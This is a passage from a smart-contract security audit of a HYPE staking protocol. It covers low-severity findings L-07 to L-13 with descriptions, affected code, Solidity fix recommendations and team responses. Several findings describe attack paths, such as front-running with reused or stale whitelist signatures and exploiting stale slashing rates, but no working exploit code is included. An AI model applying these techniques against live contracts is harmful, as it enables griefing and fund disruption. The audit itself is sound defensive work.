Trade-offs: relaxing the impact cap in `WOUND_DOWN` increases the per-cycle drip size, but this is acceptable in a terminal market where the goal is to complete residual distribution to remaining holders. Snapshot-based finalization before entering `WOUND_DOWN` is an alternative, but residual fees can still arrive asynchronously through the documented buyback and bridge flow after wind-down begins.

COMMENTS

Project Team

Valid. Fixed in `c64a7b7` (bundled with M-01, part of PR #90). `_computeStakeAmount` bypasses the impact cap when `exManager.exPhase() == WOUND_DOWN`, allowing terminal-phase fees to drain past `_impactCapFromExLSTRate` without being permanently pinned below `minStakeAmount`.

Zero Cool

Fix Review Status: Resolved

Resolved in commit `6b6896e`

- The original root cause was the WOUND_DOWN drip still being capped by `_impactCapFromExLSTRate()`. In current `StakeFeesThrottle._computeStakeAmount()`, `exManager.exPhase() == WOUND_DOWN` sets `impactCap = type(uint256).max`, so low remaining EXLST supply no longer pins terminal fee staking below the router minimum. Also, spot-HYPE drainage is now split into permissionless `sweep()`, so stake-leg constraints no longer block spot bridging.

L-07 confirmAll can misattribute blocked withdrawal payouts in its return value

Status Acknowledged

Severity Severity: Low ≈ Impact: Low × Likelihood: Low

Summary

The `EXRouter.confirmAll()` function aggregates HYPE payouts from both regular and blocked withdrawals into a single `totalHypeReceived` return value, which the interface documents as the amount received by the supplied `recipient` parameter. However, blocked withdrawals ignore the `recipient` parameter and pay each withdrawal's stored recipient address. This creates a discrepancy where the returned total may include funds paid to addresses other than the documented recipient, potentially causing integrations to over-credit or mis-settle based on incorrect accounting.

Description

`EXRouter.confirmAll()` accepts a single `recipient` parameter and returns `totalHypeReceived`, which `IEXRouter` documents as the total HYPE received by that recipient across all confirmations. For regular withdrawals processed through `exManager.confirmWithdrawal()`, the function correctly passes the `recipient` parameter and accumulates the returned amounts. However, for blocked withdrawals, the function calls `blockedWithdrawalQueue.confirmBlockedWithdrawal(blockedWithdrawalId, queuedBatchIndices)` without any recipient validation.

The `BlockedWithdrawalQueue.confirmBlockedWithdrawal()` function loads the stored recipient from the blocked withdrawal record and pays HYPE to `bw.recipient`, completely independent of the `recipient` parameter supplied to the router. The router then adds this payout amount to the same `totalHypeReceived` aggregate, even though the funds were transferred to a different address. This behavior violates the documented single-recipient accounting abstraction, as the interface promises that `totalHypeReceived` represents the amount received by the supplied recipient.

A caller can construct a `confirmAll()` batch that includes blocked withdrawals belonging to various recipients by controlling the `blockedWithdrawalIds` array. The router validates only that the `EXManager` is a registered market and that array lengths match, but never checks whether each blocked withdrawal's stored recipient matches the supplied `recipient` parameter. The underlying `BlockedWithdrawalQueue` maintains correct custody and pays each withdrawal to its rightful stored recipient, but the router's aggregate return value misrepresents the distribution of those funds.

Impact Explanation

No protocol funds are stolen or misdirected through this issue. The `BlockedWithdrawalQueue` always pays the recipient stored in each blocked withdrawal record, and regular withdrawals are correctly keyed by the supplied recipient. The harm is limited to the router API returning a misleading aggregate total that downstream integrations may interpret as a single-recipient settlement amount. An on-chain or off-chain integration that relies on `totalHypeReceived` without independently verifying each blocked withdrawal's recipient or measuring the supplied recipient's actual balance delta could over-credit users or mis-settle against its own accounting systems.

Likelihood Explanation

The behavior is accessible through public entry points where callers control the `recipient` parameter, `blockedWithdrawalIds` array, and batch indices. Users can create blocked withdrawals with any stored recipient, and later include those IDs in a `confirmAll()` call with a different recipient parameter. However, direct calls only pay the legitimate stored recipients and provide no extra value to the caller. Exploitation depends on an external integration that accepts attacker-controlled blocked IDs and trusts the `totalHypeReceived` return value without checking individual recipients or balance deltas, which is plausible but represents a constrained integration-level dependency.

Affected Code

src/EXRouter.sol:128-151

- `confirmAll()`

src/interfaces/IEXRouter.sol:70-83

- `confirmAll()` interface and NatSpec for `recipient` and `totalHypeReceived` parameters

src/BlockedWithdrawalQueue.sol:240-270

- `confirmBlockedWithdrawal()`

Recommendation

Consider adding recipient validation to `EXRouter.confirmAll()` before confirming each blocked withdrawal. Load the blocked withdrawal record with `blockedWithdrawalQueue.blockedWithdrawal(blockedWithdrawalId)` and require that its stored `recipient` field matches the `recipient` parameter supplied to the router:

```
IBlockedWithdrawalQueue blockedWithdrawalQueue =
exManager.blockedWithdrawalQueue();
for (uint256 i = 0; i < blockedWithdrawalIds.length; i++) {
    // Validate that the blocked withdrawal belongs to the supplied
recipient
    IBlockedWithdrawalQueue.BlockedWithdrawal memory bw =

blockedWithdrawalQueue.blockedWithdrawal(blockedWithdrawalIds[i]);
    if (bw.recipient != recipient) {
        revert Errors.RecipientMismatch();
    }

    totalHypeReceived +=
blockedWithdrawalQueue.confirmBlockedWithdrawal(
        blockedWithdrawalIds[i], queuedBatchIndicesPerWithdrawal[i]
    );
}
```

Alternatively, change the API to avoid a single-recipient aggregate by returning separate totals for regular and blocked confirmations, or returning per-blocked-withdrawal recipient and amount details. Update the interface documentation to clarify that blocked withdrawals pay their stored recipients and that the aggregate total may not represent a single recipient's balance delta unless the implementation enforces that invariant.

COMMENTS

Project Team

Valid. Acknowledged (docs) in `a8a4a51` (PR #90). Cosmetic API surface — `EXRouter.confirmAll` returns `totalHypeReceived` as the aggregate of regular + blocked, but blocked entries pay their stored recipients (not the supplied `recipient` parameter). No on-chain risk. Documented via natspec on `IEXRouter.confirmAll`; downstream integrations needing per-recipient detail can use `blockedWithdrawalInfo`.

L-08 Stale whitelist credentials can fix recipients to obsolete funding tiers

Status Acknowledged

Severity Severity: Low ≈ Impact: Low × Likelihood: Low

Summary

A recipient's first whitelisted deposit permanently sets their tier assignment in `whitelistMintsPerUser`, but signatures contain no nonce, deadline, or version field. An attacker who obtains an older signature for the same recipient can force a small delegated deposit using that obsolete tier before the recipient deposits with their intended newer signature, locking them out of their higher allocation.

Description

The `WhitelistGate` contract validates deposits during the `FUNDING` phase by verifying an EIP-712 signature over `WhitelistUserData{recipient, tier}` against the current `whitelister` address. When a recipient has never minted before (`whitelistMintsPerUser[recipient].minted == 0`), the deposit initializes `whitelistMintsPerUser[recipient].tier` to the signed tier value. All subsequent deposits for that recipient must use the same tier or revert with `InvalidWhitelistUserTier`.

Because `EXManager.deposit()` accepts any `sender` and mints shares to the specified `recipient`, a third party can submit a deposit on behalf of another user. The signature contains only the recipient address and tier; it does not bind the caller, include a nonce, specify a deadline, or reference a whitelister epoch. If the whitelister issues multiple signatures for the same recipient over time—for example, upgrading Alice from tier 0 to tier 2—both signatures remain valid as long as the `whitelister` address has not changed or is later restored. An attacker who learns the older tier-0 signature can call `deposit(Alice, oldSignature)` before Alice's first mint. This irreversibly stores tier 0 in `whitelistMintsPerUser[Alice].tier`, and Alice's subsequent attempt to deposit with the tier-2 signature will revert.

There is no on-chain function for a manager to clear or update a recipient's tier assignment. The only remediation paths are to disable whitelist enforcement globally via `disableWhitelist()` or to transition out of the `FUNDING` phase, both of which affect all users.

Impact Explanation

An attacker can deny a recipient access to their intended higher-tier allocation during the `FUNDING` phase by front-running with a stale lower-tier signature. The attacker must fund a valid deposit (at least `minStakeAmount` and aligned to 1e10), and the resulting `EXLST` shares are minted to the victim rather than the attacker. However, the first-use tier assignment is write-once, so the victim's newer signature

becomes unusable while whitelist enforcement remains active. This blocks the victim from depositing up to their intended per-user and global tier caps, which can be economically meaningful in a capped whitelist round.

Likelihood Explanation

The attack surface is permissionless: anyone can call `EXManager.deposit()` with an arbitrary `recipient` parameter during `FUNDING` while `whitelistEnabled == true`. However, the attacker must obtain a valid but obsolete signature for the target recipient, the whitelister must have issued conflicting credentials for the same user, and the attack must occur before the recipient's first successful mint.

Affected Code

src/gate/WhitelistGate.sol:168-256

- `onDeposit()`
- `WHITELIST_USER_DATA_TYPEHASH`
- `whitelistMintsPerUser`
- `whitelister`

src/gate/WhitelistGate.sol:264-290

- `setWhitelister()`

src/base/EIP712Verifier.sol:6-37

- `_verifyEIP712Signature()`

src/EXManager.sol:473-522

- `deposit()`

src/EXManager.sol:730-760

- `_onDeposit()`

Recommendation

Add freshness or revocation fields to the signed `WhitelistUserData` struct. Consider including a `uint256 nonce` per recipient that increments with each new assignment, a `uint256 deadline` timestamp, or a `uint256 whitelisterEpoch` that increments in `setWhitelister()` so that signatures from prior epochs cannot be replayed if the signer address is restored. Store and check consumed nonces or the current epoch on-chain within `onDeposit()` to ensure only the latest assignment is accepted.

```
struct WhitelistUserData {
    address recipient;
    uint128 tier;
    uint256 assignmentVersion; // or nonce, or deadline
}
```

Additionally, consider adding a narrowly scoped manager function to clear or update a recipient's tier assignment in `whitelistMintsPerUser` before the recipient has deposited, allowing operators to correct mistaken assignments without disabling the whitelist for all users. When deciding whether to bind the deposit sender in the signature, weigh the value of supporting delegated deposits against the reduced attack surface of requiring the recipient to submit their own transaction.

COMMENTS

Project Team

Valid. Acknowledged in `a8a4a51` (PR #90). Griefing class with L-23 — whitelist credentials are short-lived per launch event; pre-issued signatures are bounded by the event window via operational key rotation. Adding nonces + deadlines to `WhitelistUserData` is a future-iteration hardening item.

L-09 Oversized operator bonds can create unbondable activatable markets

Status: Acknowledged

Severity: Severity: Low ≈ Impact: Low × Likelihood: Low

Summary

Markets deployed with an operator bond exceeding the selected tier's EXLST supply cap cannot complete the bonding process, yet remain eligible for permissionless activation. Third-party activators who transfer activation tokens before discovering the bondability constraint may lose those funds when the market is eventually cancelled, as the documented cancellation path does not refund bridged activation deposits.

Description

`EXFactory.deployMarket()` validates that `params.opBond` meets the global minimum bond requirement and is 1e10-aligned, but does not compare the bond to the selected tier's `supplyCap`. The deployment process initializes the market's EXLST token with `supplyCap` derived from `globalConfig.marketTiers(params.marketTier).supplyCap` in `_initializeLaunchInfra()` at `EXFactory.sol:527–536`. When `params.opBond` exceeds this cap, the factory completes deployment and escrows the HYPE bond without rejecting the internally inconsistent configuration.

After deployment, any party can call `activateMarket()` for an unbonded market, transferring registered activation tokens through the router to the HyperCore L1 bridge path. The deployer then calls `bondMarket()`, which delegates to `EXManager.bond()` at `EXManager.sol:265–283`. This bond flow changes the phase to `FUNDING` and calls `deposit(address(this), "")` to stake the escrowed HYPE via `EXManager.sol:483–512`. At genesis, the staking accountant returns a 1:1 exchange rate, so `_calcShares()` produces shares equal to the deposited HYPE amount. The subsequent `exLST.mint(recipient, shares)` call in `deposit()` at line 508 invokes `EXLST.mint()` at `EXLST.sol:105–110`, which reverts with `SupplyCapBreached` when `totalSupply() + amount > supplyCap`.

Because bonding is impossible, the deployer eventually cancels the market after the configured delay. The `cancelMarket()` implementation at `EXFactory.sol:246–280` deletes the market registry entries, deauthorizes the contracts in shared registries, and refunds the HYPE bond to the specified recipient. Activation tokens that were bridged to L1 through the router remain on L1 and are not recovered by this cancellation path.

Impact Explanation

The deployed market cannot progress beyond the unbonded state, so no user deposits can be accepted or put at risk. The only realistic loss affects third-party activators who transfer activation tokens to an unbondable market before inspecting its parameters. Those tokens are bridged through the router and cannot be recovered when the deployer cancels the market. The deployer recovers the HYPE bond after the cancellation delay, and the factory does not provide any direct economic benefit to the deployer from stranded activation funds. The issue may also affect automated activation infrastructure or keepers that rely on factory registration as a signal of bondability.

Likelihood Explanation

The parameter combination is entirely controlled by the deployer through the permissionless `deployMarket()` function, but exploiting a third party requires that an independent activator voluntarily call `activateMarket()` before verifying bondability. The inconsistency between `opBondEscrowed` and `supplyCap` is publicly inspectable from market and EXLST state, and typical documented tiers have very large supply caps relative to common activation-token amounts, raising the capital cost for such a deployment.

Affected Code

src/EXFactory.sol:80-110

- `deployMarket()` – missing validation of `params.opBond` against tier `supplyCap`

src/EXFactory.sol:516-536

- `_initializeLaunchInfra()` – initializes EXLST with tier `supplyCap` independent of `params.opBond`

src/EXFactory.sol:207-243

- `activateMarket()` – permissionless activation without bondability check

src/EXFactory.sol:246-280

- `cancelMarket()` – refunds HYPE bond but not bridged activation tokens

src/EXManager.sol:265-283

- `bond()` – first deposit that triggers `EXLST.mint()` revert when shares exceed cap

src/EXManager.sol:483-512

- `deposit()` – calls `exLST.mint(recipient, shares)` at line 508

src/EXLST.sol:105-110

- `mint()` – reverts with `SupplyCapBreached` when `totalSupply() + amount > supplyCap`

Recommendation

Load the selected market tier in `deployMarket()` before deploying contracts and revert unless `params.opBond <= tier.supplyCap` . This validation ensures that the operator bond is compatible with the initial EXLST supply cap at deployment time:

```
// In EXFactory.deployMarket, after line 99
MarketTier memory tier =
globalConfig.marketTiers(params.marketTier);
if (params.opBond > tier.supplyCap) revert
Errors.InvalidMarketParams();
```

Optionally document or enforce additional post-bond headroom if markets are expected to accept user deposits immediately after bonding completes. Consider also whether activation should be callable only by the deployer or market admin until bonding succeeds, or whether the factory should expose a bondability view function for external callers to query before activating.

COMMENTS

Project Team

Valid. Acknowledged in `a8a4a51` (PR #90). Deployer self-DoS — only the deployer can create this state (their bond is locked until `cancelMarket`). The inconsistency is publicly inspectable via `factory.markets(marketId).opBond > tier.supplyCap`, so third-party activators can pre-flight bondability before bridging activation tokens.

L-10 Stale slashing reports can let live withdrawals overrun the reserve floor

Status Acknowledged

Severity Severity: Low ≈ Impact: Medium × Likelihood: Low

Summary

When a HIP-3 slash occurs on HyperCore but has not yet been reported to the EVM-side `exStakingAccountant`, withdrawal operations overestimate the HYPE value of the market's ghost LST reserves. This stale-rate window allows informed holders to queue withdrawals up to the pre-slash excess capacity, moving ghost shares into Router withdrawal requests before the floor enforcement reflects the true post-slash reserve level. The active market can fall below its required tier `minHypeStake`, with the shortfall absorbed by remaining depositors.

Description

`EXManager.withdraw()` and `BlockedWithdrawalQueue.processBlockedWithdrawals()` both enforce the LIVE market `minHypeStake` floor by computing withdrawal capacity from the current EVM-side `exStakingAccountant` exchange rate. When a HIP-3 slash has reduced reserves on HyperCore but the EVM accountant has not yet been updated, these functions measure ghost LST reserves at the pre-slash rate.

`EXManager.availableWithdrawals()` calculates the withdrawable HYPE excess above the tier floor using `exStakingAccountant.kHYPEToHYPE()`, and `_queueAvailableWithdrawals()` calls `_processQueueWithdrawal()` to transfer ghost LST from EXManager into the Router's withdrawal request. Similarly, `BlockedWithdrawalQueue._withdrawableShares()` computes processable capacity from the same stale accountant conversion, and `processBlockedWithdrawals()` moves BWQ ghost LST into Router requests.

Once `LSTPayments._processQueueWithdrawal()` transfers the ghost shares into the Router via `queueWithdrawal()`, those tokens are no longer counted in Launch's reserve checks. `EXManager._checkMinHypeStakeSatisfied()` sums only ghost LST held by EXManager plus unprocessed BWQ ghost LST. The floor check executes after queueing, but it uses the same stale accountant state, so it passes even when the true post-slash reserves are below the required minimum.

`SlashingAwareWithdrawalFacet._processConfirmation()` adjusts payouts at confirmation time by taking the minimum of the original queue-time HYPE amount and the recomputed post-slash value. This pro-rata reduction prevents overpayment, but it does not retroactively enforce queue-time floor capacity. The withdrawal has already removed more ghost shares than the true post-slash excess, leaving the active market below its tier floor or creating pending L1 operations that may require pause and recovery handling.

Impact Explanation

The verified impact is not stale-rate overpayment. Confirmation logic applies slashing adjustments, so the withdrawer receives at most the post-slash value of their burned shares. Instead, the issue violates the market-level reserve floor: during the gap after a HyperCore slash but before the per-market EVM accountant reflects it, a holder can move more ghost LST out of EXManager and BWQ reserves than the true post-slash excess above `minHypeStake`. If the over-sized withdrawal is honored, the remaining active market falls below its required tier floor, with the shortfall borne by other EXLST holders and depositors. If operational monitoring

refuses the resulting L1 undelegation, the queued withdrawal enters a stuck state requiring pause, unwind, or recovery.

Likelihood Explanation

The vulnerable entrypoints are permissionless and the attacker controls withdrawal amount and timing. However, exploitation requires a real HyperCore slash, attacker knowledge and transaction inclusion before oracle reporting or emergency pause, and sufficient immediately available shares or a processable BWQ position. Slashing is uncommon, and the documented operational model includes Kinetiq monitoring plus emergency withdrawal pause, which also blocks Router queueing once activated.

Affected Code

src/EXManager.sol:496-571, src/EXManager.sol:611-660, src/EXManager.sol:772-825

- `availableWithdrawals()`
- `withdraw()`
- `_queueAvailableWithdrawals()`
- `_checkMinHypeStakeSatisfied()`

src/BlockedWithdrawalQueue.sol:180-237, src/BlockedWithdrawalQueue.sol:320-329

- `processBlockedWithdrawals()`
- `_withdrawableShares()`

src/base/LSTPayments.sol:72-88

- `_processQueueWithdrawal()`

src/facets/SlashingAwareWithdrawalFacet.sol:31-67

- `_processConfirmation()`

Recommendation

On HyperCore slash detection, pause Router withdrawals immediately for the affected market before allowing LIVE `EXManager.withdraw()` or BWQ `processBlockedWithdrawals()` to queue more requests, and unpause only after the slashing report is reflected in the EVM accountant. For a code-level guard, add a queue-time freshness or pending-slash check used by both EXManager and BWQ so live withdrawal queueing fails closed whenever the slashing oracle or accountant state is not current. This ensures the floor enforcement reflects the most recent

HyperCore reserve level and prevents withdrawal capacity from being calculated on stale exchange rates. Consider storing a timestamp or block number of the last accountant update and requiring it to be within a short bound before allowing withdrawal operations that move ghost LST into Router requests.

COMMENTS

Project Team

Valid. Acknowledged in `a8a4a51` (PR #90). Runbook class with M-08 — F-19 emergency-pause covers the reserve-floor overrun scenario during a stale slashing report window. Same operator response: pause withdrawals via `setWithdrawalPaused` during the oracle-update window.

L-11 LIVE withdrawal floor can be bypassed for dust blocked-withdrawal entries

Status Resolved

Severity Severity: Low ≈ Impact: Low × Likelihood: Medium

Summary

The protocol enforces `minimumWithdrawWhenLive` only against the total requested shares in `withdraw()`, not against the residual portion routed to `BlockedWithdrawalQueue`. An attacker can request a withdrawal large enough to pass the aggregate minimum while consuming nearly all shares as an immediate withdrawal, leaving only a dust residual for BWQ. This defeats the intended anti-spam control and can cause operational friction when the dust entry becomes the FIFO head.

Description

`EXManager.withdraw()` validates that the caller's requested `shares` satisfy `globalConfig.minimumWithdrawWhenLive()` before splitting the withdrawal between immediate and blocked legs. The function first calls `_queueAvailableWithdrawals()` at `src/EXManager.sol:545`, which consumes up to `availableWithdrawals()` shares as an immediate withdrawal. The remaining `blockedShares = shares - sharesWithdrawn` is then passed to `_queueBlockedWithdrawals()` at `src/EXManager.sol:548` with no separate

minimum check. `_queueBlockedWithdrawals()` converts the residual to ghost LST and calls `blockedWithdrawalQueue.queueBlockedWithdrawal()`, which only rejects zero shares or a zero recipient at `src/BlockedWithdrawalQueue.sol:143–144`.

When immediate withdrawal capacity is positive but small, an attacker can craft a request where the total shares exceed the configured minimum yet the blocked residual is arbitrarily small. For example, if `availableWithdrawals()` returns 100 shares and `minimumWithdrawWhenLive` is 50 shares, the attacker can request 101 shares. The aggregate check passes, `_queueAvailableWithdrawals()` processes 100 shares as an immediate withdrawal, and only 1 share is routed to BWQ. The attacker later confirms the immediate withdrawal and recovers the bulk of their capital after paying the normal withdrawal fee, while the market retains the dust BWQ entry.

Once any ghost LST balance exists in BWQ, `availableWithdrawals()` returns zero for all users at `src/EXManager.sol:809–810`. If the dust residual converts to zero HYPE after slashing or falls below an underlying queueing threshold, it becomes unprocessable and blocks the FIFO queue head. Even when processable, the configured LIVE withdrawal minimum fails to prevent BWQ dust spam when immediate capacity exists.

Impact Explanation

An EXLST holder can create a blocked-withdrawal residual below `minimumWithdrawWhenLive`, defeating the documented use of that parameter as a reactive anti-BWQ-dust-spam control. The practical consequence is liveness and gas grief: while BWQ holds any ghost LST, `availableWithdrawals()` returns zero capacity for all users, and withdrawals must clear the FIFO head first. Normal dust entries remain permissionlessly processable once even tiny new capacity exists, and the code rejects zero-ghost residuals, so direct fund loss or a durable freeze is not established under default configuration.

Likelihood Explanation

Any EXLST holder can call `EXManager.withdraw()` in LIVE and control the requested shares and timing. However, exploitation requires a non-default positive `minimumWithdrawWhenLive`, an empty BWQ, and positive immediate withdrawal capacity. The attacker must also temporarily control enough shares to consume the immediate leg and may pay the normal withdrawal fee. These conditions are realistic during a reactive anti-spam period but not always present.

Affected Code

src/EXManager.sol:520-571

- `withdraw()`
- `minimumWithdrawWhenLive` check on line 537
- `blockedShares = shares - sharesWithdrawn` on line 548

src/EXManager.sol:622-692

- `_queueAvailableWithdrawals()`
- `_queueBlockedWithdrawals()`

src/EXManager.sol:808-827

- `availableWithdrawals()`

src/BlockedWithdrawalQueue.sol:132-159

- `queueBlockedWithdrawal()`

Recommendation

In LIVE, when `blockedShares > 0` after `_queueAvailableWithdrawals()`, require the blocked residual's EXLST or HYPE-equivalent value to satisfy the intended minimum. If the residual falls short, either revert the transaction or reduce the immediate leg so the residual is zero or at least the minimum. This ensures that any BWQ entry created during LIVE meets the anti-spam floor.

Additionally, reject blocked residuals that convert to zero HYPE or are otherwise unqueueable by the staking manager. Checking the ghost LST amount against `IStakingManagerState(address(exStakingManager)).minWithdrawalAmount()` before calling `blockedWithdrawalQueue.queueBlockedWithdrawal()` prevents unprocessable entries from entering the queue:

```
function _queueBlockedWithdrawals(address recipient, uint256
blockedShares)
    internal
    returns (uint256 blockedWithdrawalId)
{
    uint256 ghostAmount = _calcAmount(blockedShares,
_reserves(_exGhostLST), _totalSupply());

    // Reject unqueueable amounts
    if (ghostAmount <
IStakingManagerState(address(exStakingManager)).minWithdrawalAmount(
)) {
        revert Errors.WithdrawalLessThanMinimum();
```

```
    }

    // Enforce blocked-leg minimum in LIVE
    if (exPhase == EXPhase.LIVE) {
        uint256 hypeEquivalent = _LSTToHYPE(exStakingAccountant,
ghostAmount);
        uint256 minHype = globalConfig.minimumWithdrawWhenLive() *
_reserves(_exGhostLST) / _totalSupply();
        if (hypeEquivalent < minHype) {
            revert Errors.WithdrawalLessThanMinimum();
        }
    }

    exLST.burn(address(this), blockedShares);

IERC20(address(_exGhostLST)).safeIncreaseAllowance(address(blockedWi
thdrawalQueue), ghostAmount);
    blockedWithdrawalId =
blockedWithdrawalQueue.queueBlockedWithdrawal(ghostAmount,
recipient);
}
```

This approach balances the need to prevent dust spam with the protocol's liveness requirements, while preserving the attacker's ability to withdraw the maximum permissible amount in a single transaction.

COMMENTS

Project Team

Valid. Fixed in `bc3ac91` (bundled with M-07, part of PR #90). New universal residual gate — `if (blockedShares > 0 && blockedShares < minWithdrawWhenLive) revert WithdrawalLessThanMinimum()` — fires in any phase when the BWQ residual would be sub-floor. Cached `minWithdrawWhenLive` SLOAD reused with the aggregate check; defaults to no-op at floor = 0.

Zero Cool

Fix Review Status: Resolved

Resolved in commit `6b6896e`

- `EXManager.withdraw()` now caches `minimumWithdrawWhenLive` and rechecks the post-split residual before BWQ routing: if `blockedShares > 0` and `blockedShares < minWithdrawWhenLive`, it reverts (`src/EXManager.sol:603-621`). That closes the original bypass where a request

could pass the aggregate LIVE floor, consume the immediate leg, and leave a sub-floor dust BWQ entry.

L-12 Funding-phase TieredMintGate can block market bonding

Status: Acknowledged

Severity: Severity: Low ≈ Impact: Low × Likelihood: Low

Summary

A market configured with TieredMintGate enforcing during FUNDING will be unable to complete the operator bonding step. The bond deposit is routed through the same gate path as user deposits, and TieredMintGate enforces per-recipient mint caps based on locked tokens. Because the EXManager cannot lock tokens for itself, the gate rejects the bond deposit and blocks the market from reaching user funding, launching, or live operation until the deployer either reconfigures a mutable outer gate or cancels the market after the timelock expires.

Description

The operator bond process in `EXManager.bond()` (src/EXManager.sol:248-283) transitions the market from UNBONDED to FUNDING and then internally calls `deposit(address(this), bytes(""))` to stake the escrowed HYPE and mint shares. The standard deposit flow (src/EXManager.sol:483-512) unconditionally invokes `_onDeposit()` after minting, which forwards the call to any configured gate hook.

When a market is configured with TieredMintGate (src/gate/TieredMintGate.sol:117-151,173-201) applying to FUNDING—either directly through `gatedPhases` or indirectly through a CompositeGate or MultiplexerGate—the gate's `onDeposit()` enforcement activates during the bond deposit. TieredMintGate checks `locks[recipient].amount` where the recipient is the EXManager contract itself, then looks up the corresponding tier allowance. Because `lock()` (src/gate/TieredMintGate.sol:225-241) only allows `msg.sender` to lock for itself and no code path exists for an external actor to lock on behalf of the EXManager, `locks[EXManager].amount` remains zero. The zero lock yields zero allowance via `_getAllowanceForAmount(0)`, and the bond shares exceed this allowance, causing the deposit to revert with `MintCapExceeded`.

This creates a deployment-time deadlock: the market cannot bond, so it cannot reach FUNDING user deposits, LAUNCHING, or LIVE. If TieredMintGate is reached through a mutable outer gate, the gate manager may be able to reconfigure the routing. Otherwise, the deployer must wait for the cancel timelock (src/EXFactory.sol:246-279) and cancel the market to recover the escrowed bond. Activation tokens already bridged through `activateMarket()` are not recovered by cancellation.

Impact Explanation

A market with this gate configuration cannot complete bonding and remains stuck in UNBONDED phase. The deployer's HYPE bond is temporarily locked until the cancellation timelock expires, and any activation token already bridged to HyperCore by a third party is not refunded when the market is cancelled. Deployment gas is wasted and the market must be redeployed with a corrected gate setup or a mutable outer gate must be reconfigured. Because bonding is a mandatory one-time transition before any user deposits are accepted, ordinary users cannot be holding funds in the market at the time of failure.

Likelihood Explanation

The issue manifests when a deployer or gate manager configures TieredMintGate to enforce during FUNDING, either as the direct market gate or through a composite routing. The documented typical setup uses WhitelistGate for FUNDING and TieredMintGate for LIVE, so the unsafe configuration requires an intentional or mistaken deviation from the standard pattern. Because the deployer controls this configuration at deployment and the condition is inspectable on-chain, the likelihood depends on configuration error rather than external attacker exploitation of a correctly configured market.

Affected Code

src/EXManager.sol:248-283

- `bond()`

src/EXManager.sol:483-512

- `deposit()`
- `_onDeposit()`

src/gate/TieredMintGate.sol:117-151, src/gate/TieredMintGate.sol:173-201, src/gate/TieredMintGate.sol:225-241

- `initialize()`

- `_gatedPhases`
- `onDeposit()`
- `lock()`

src/EXFactory.sol:226-243, src/EXFactory.sol:246-279

- `bondMarket()`
- `cancelMarket()`

Recommendation

Separate the operator bond path from user deposit gates, or add a bond passthrough to TieredMintGate similar to the approach used in WhitelistGate. A passthrough can check whether the call originates from the authorized EXManager, the recipient is the EXManager itself, and the data parameter is empty, then skip enforcement for that specific factory-initiated bond deposit. This prevents the gate from treating the mandatory lifecycle transition as a user deposit while preserving the intended per-recipient allowance enforcement for actual users.

```
function onDeposit(
    IEXManager.EXPhase exPhase,
    address sender,
    address recipient,
    address tokenIn,
    uint256 amountIn,
    uint256 sharesOut,
    bytes memory data
) external onlyAuthorizedCaller {
    // Skip enforcement for factory-initiated bond (recipient is
EXManager, empty data)
    if (recipient == authorizedCaller && data.length == 0) return;

    // Only gate during configured phases
    if (!_gatedPhases.contains(uint256(exPhase))) return;

    uint256 lockedAmount = locks[recipient].amount;
    uint256 allowance = _getAllowanceForAmount(lockedAmount);
    uint256 newTotal = mintedShares[recipient] + sharesOut;
    if (newTotal > allowance) revert MintCapExceeded();

    mintedShares[recipient] = newTotal;
    emit TieredMint(recipient, sharesOut, newTotal, allowance);
}
```

As defense in depth, factory validation or deployment tooling should reject TieredMintGate configurations that can enforce during FUNDING unless such a

passthrough is present. A broader protocol-level solution would be to refactor `bond()` to mint shares directly without invoking `deposit()`, ensuring mandatory lifecycle transitions never invoke external gates.

COMMENTS

Project Team

Valid. Acknowledged (docs) in `a8a4a51` (PR #90). Deployer config error — using TieredMintGate to gate FUNDING when bond is enforced makes `bond()` revert (EXManager cannot lock tokens for itself). Standard pattern is WhitelistGate for FUNDING + MultiplexerGate to route TieredMintGate to LIVE. Documented in TieredMintGate natspec and the deployment-guide section.

L-13 Whitelist signatures can be reused to consume recipient mint caps

Status: Acknowledged

Severity: Severity: Low ≈ Impact: Low × Likelihood: Medium

Summary

The `WhitelistGate` contract authorizes FUNDING-phase deposits using EIP-712 signatures that bind only the recipient address and tier, without committing to the depositing sender, deposit amount, nonce, or deadline. Any party that obtains a valid signature can submit deposits on behalf of the signed recipient, consuming that recipient's per-user and per-tier mint caps and forcing unwanted exposure.

Description

During the FUNDING phase, `WhitelistGate.onDeposit()` validates deposits by verifying an EIP-712 signature over `WhitelistUserData(address recipient, uint128 tier)` against a configured whitelister. The signed payload omits the depositing sender, share or amount limits, one-time use nonces, and expiry deadlines. Because `EXManager.deposit()` and `EXRouter.deposit()` accept an arbitrary recipient parameter from any caller, a third party can copy an observed signature and submit a competing deposit specifying the same recipient and tier.

The gate increments `whitelistMintsPerUser[recipient].minted` and `whitelistMintsPerTier[tier]` by the newly minted `sharesOut`, regardless of

whether the deposit originated from the recipient or an unrelated account. If a victim later attempts to deposit their full remaining per-user allocation, the transaction will revert when the combined minted total exceeds `perUserMintCap`. The same mechanism can consume scarce tier-wide capacity or force recipients into positions they did not authorize. FUNDING-phase withdrawals are blocked while `whitelistEnabled` remains true, preventing immediate unwinding of attacker-funded positions.

Impact Explanation

Recipients can lose access to their intended whitelist allocation when an unrelated party front-runs with a dust or partial deposit using the victim's signature. The attack does not extract value—the attacker funds the deposit and the victim receives the minted exLST—but it denies the recipient the ability to claim their full allocation in a single transaction. If the tier fills before the victim can retry with a smaller amount, the recipient may miss the allocation window. The victim also incurs retry gas costs and is forced to hold exLST they did not choose to acquire.

Likelihood Explanation

The attack path is permissionless: both `EXManager.deposit()` and `EXRouter.deposit()` allow any caller to specify any recipient, and the gate hook only verifies that the caller is the configured `EXManager`. After a whitelister issues a signature, an attacker can copy it from public calldata or obtain it through other channels, then submit a competing deposit before the intended recipient's transaction confirms.

Affected Code

src/gate/WhitelistGate.sol:31-32, src/gate/WhitelistGate.sol:178-236

- `WHITELIST_USER_DATA_TYPEHASH`
- `onDeposit()`
- `whitelistMintsPerUser`
- `whitelistMintsPerTier`

src/gate/WhitelistGate.sol:253-267

- `onWithdraw()`

src/EXManager.sol:483-510

- `deposit()`

src/EXRouter.sol:63-70

- `deposit()`

src/base/EIP712Verifier.sol:32-35

- `_verifyEIP712Signature()`

Recommendation

Bind whitelist authorizations to the intended deposit semantics by expanding the EIP-712 signed payload. Include an authorized depositor field or explicit delegation flag, amount or share bounds (minimum and maximum), a nonce to prevent reuse, and a deadline for expiry. Track consumed nonces on-chain so that each signature can be used only once.

If delegated deposits are unnecessary for whitelist launches, the simplest approach is to require `sender == recipient` during FUNDING-phase deposits when the whitelist is enabled:

```
function onDeposit(
    IEXManager.EXPhase exPhase,
    address sender,
    address recipient,
    address tokenIn,
    uint256 amountIn,
    uint256 sharesOut,
    bytes memory data
) external onlyAuthorizedCaller {
